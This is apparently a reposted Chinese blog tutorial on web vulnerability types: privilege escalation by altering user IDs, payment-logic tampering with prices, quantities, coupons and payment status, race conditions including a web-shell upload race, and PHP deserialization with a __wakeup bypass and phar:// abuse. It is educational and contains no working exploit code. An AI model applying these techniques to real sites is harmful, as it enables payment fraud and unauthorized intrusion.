5.越權漏洞:指一個正常用戶A可以操作另一個用戶B才能做的事
原因:開發人員在對資料進行增、刪、改、查詢時對客戶端請求的資料過分相信而遺漏了權限的判定
平行越權:在發送請求時觀察請求引數,嘗試修改用戶id或者其他引數驗證是否能查看不屬于自己的資料,進行增刪改查,若成功則存在
垂直越權:查看請求中是否有身份標識,比如userid,角色id之類的,有的話嘗試修改,重新請求更高權限的操作,如普通用戶進去可以新建管理員的用戶,然后直接用管理員用戶賬號登錄
流程:抓包修改id,重點:明白每個引數的作用,再根據引數來尋找越權 小技巧:一個站里面很多包的引數命名可能是通用的,或者變化不大的,尋找包里的身份驗證引數,然后修改
6.支付邏輯漏洞:后端沒有對支付的資料包做校驗,傳遞程序也沒有做簽名,導致可以隨意篡改金額提交,只需要抓包看到有金額的引數修改成任意即可
舉例:
1.修改購買數量:在進行支付訂單的時候,可以修改物品的數量來進行操作,可以通過支付一件的價格購買多件,或者修改成負數進行增加資金
2.修改支付價格:利用:抓包修改價格引數的內容,在支付當中,購買商品一般分為三步:訂購、確認資訊、付款,在這三個步驟中都有可能存在漏洞,金額可以嘗試修改小額或者修改為負
3.修改支付對應的商品:修改商品對應的id號,可以用低價購買高價格的商品
4.修改支付的狀態:沒有對支付狀態的值跟實際訂單支付狀態進行校驗,導致點擊支付時抓包修改決定支付或未支付的引數為支付狀態的值從而達到支付成功
5.修改附屬優惠、領取優惠:1.修改優惠券金額 2.修改積分金額 3.無限制試用 4.修改優惠價
6.測驗資料包未洗掉:開發在進行測驗的時候有一些測驗資料未洗掉,導致用戶可以購買測驗資料,或者領取測驗的優惠券
其他型別:修改支付介面:比如一種網站支持很多種支付,比如自家的支付工具,第三方的支付工具,然后每個支付介面值不一樣,如果邏輯設計不當,當我隨便選擇一個點擊支付時進行抓包,然后修改其支付介面為一個不存在的介面,如果沒做好不存在介面相關處理,那么此時就會支付成功
重復支付:類似試用券,你試用完或者主動取消試用時,試用券會回傳到賬戶中
最大額支付:在設定的時候,商城的支付金額有上限,當輸入999999999999999類似的一個超大數的時候,可能會存在溢位,或者直接變為0
條件競爭:同時發包獲取優惠券等,可以繞過限制的次數
大米cms支付邏輯漏洞演示:1.注冊賬戶登錄 2.選擇產品購買 3.抓包進行修改 4.查看自己的余額
7.條件競爭漏洞:開發者在開發時認為代碼會以線性的方式執行,而且他們忽視了并行服務器會并發執行多個執行緒
產生位置:1.檔案上傳 2.領取優惠券 3.抽獎 4.轉賬 ..........................
思路:構造兩個包 1.不斷發送上傳包 2.不斷訪問shell地址
反序列化漏洞
序列化與反序列化概述:序列化:將物件轉換為字串 反序列化:將字串轉化為物件
意義:在傳遞變數的程序中,有可能遇到變數值要跨腳本檔案傳遞的程序,如果一個腳本中想要的呼叫之前一個腳本的變數,但是之前一個腳本已經執行完畢,所有的變數和內容釋放掉了,那該如何操作
PHP序列化字串:o:6:"Person":2:{s:4:"name";s:5:"gouzi";s:3:"age";s:2:"18";}
O:object 6:物件所屬類名長度 Person:物件所屬類名 2:類中的兩個屬性 s:string 4:屬性名長度 name:屬性名
漏洞原因:在PHP代碼中使用unserialize函式反序列化某一個物件,該物件自動執行自定義的magic method(魔法函式),如果這些magic method中有危險操作,或者在魔法函式中呼叫類中其他帶有危險操作的函式,如果危險操作是我們可控的,那么可能會觸發php反序列化漏洞
魔法函式:
1.connstruct()當物件創建時會自動呼叫(但在unserialize()時不會自動呼叫)
2.destruct()當物件被銷毀時會自動呼叫
3.wakeup():unserialize()時會自動呼叫
4.toString()當反序列化后的物件被輸出在模板中的時候(轉換成字串的時候)自動呼叫
觸發條件:echo($obj)/print($obj)列印時觸發,反序列化物件與字串連接時,反序列化物件參與格式化字串時,反序列化物件與字串進行==比較時(php進行==比較時會轉換引數型別),反序列化物件在經過php字串函式,如strlen(),addslashes()時,在in_array()方法中,第一個引數是反序列化物件,第二個引數的陣列中有toString回傳的字串時,反序列化物件作為class_exists()的引數時
5.get()當從不可訪問的屬性讀取資料
6.call()在物件背景關系中呼叫不可訪問的方法時觸發
實體:private屬性序列化字串時會有%00
如何繞過_wakeup:當設定物件的屬性值個數大于實際屬性值個數時會跳過_wakeup
對輸入引數增則匹配:在物件的屬性長度前面加上+ 修護:正則運算式改為/[oc]:[^:]*\d+:/i
結合其他漏洞如檔案包含:讀取原始碼,層層遞進(php://filter、php://input等),結合sql注入等
利用phar://流型別擴展反序列化漏洞攻擊面:phar檔案包在生成時會以序列化的形式存盤用戶自定義的meta-data,配合呼叫檔案系統函式如file_exists(),is_dir()等,引數可控的情況下使用phar://作為引數實作自動的反序列化操作
phar檔案包是一種使用單一檔案格式分發php應用程式和庫的方法
phar檔案格式:
存根:是一個php檔案,充當引導程式,其中至少包含代碼:<?php _HALT_COMPILER();?>
描述存檔中包含的源檔案的清單:該檔案屬于可選,里面存盤著其中每個被壓縮檔案的權限、屬性等資訊,其中還會以序列化的形式存盤用戶自定義的meta-data,這是反序列化漏洞利用鏈的關鍵一環
源檔案:實際的phar功能,想要亞索在phar壓縮包中的檔案
可選簽名:用于完整性檢查
轉載請注明出處?

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/17485.html
標籤:其他
下一篇:python資訊收集(四)
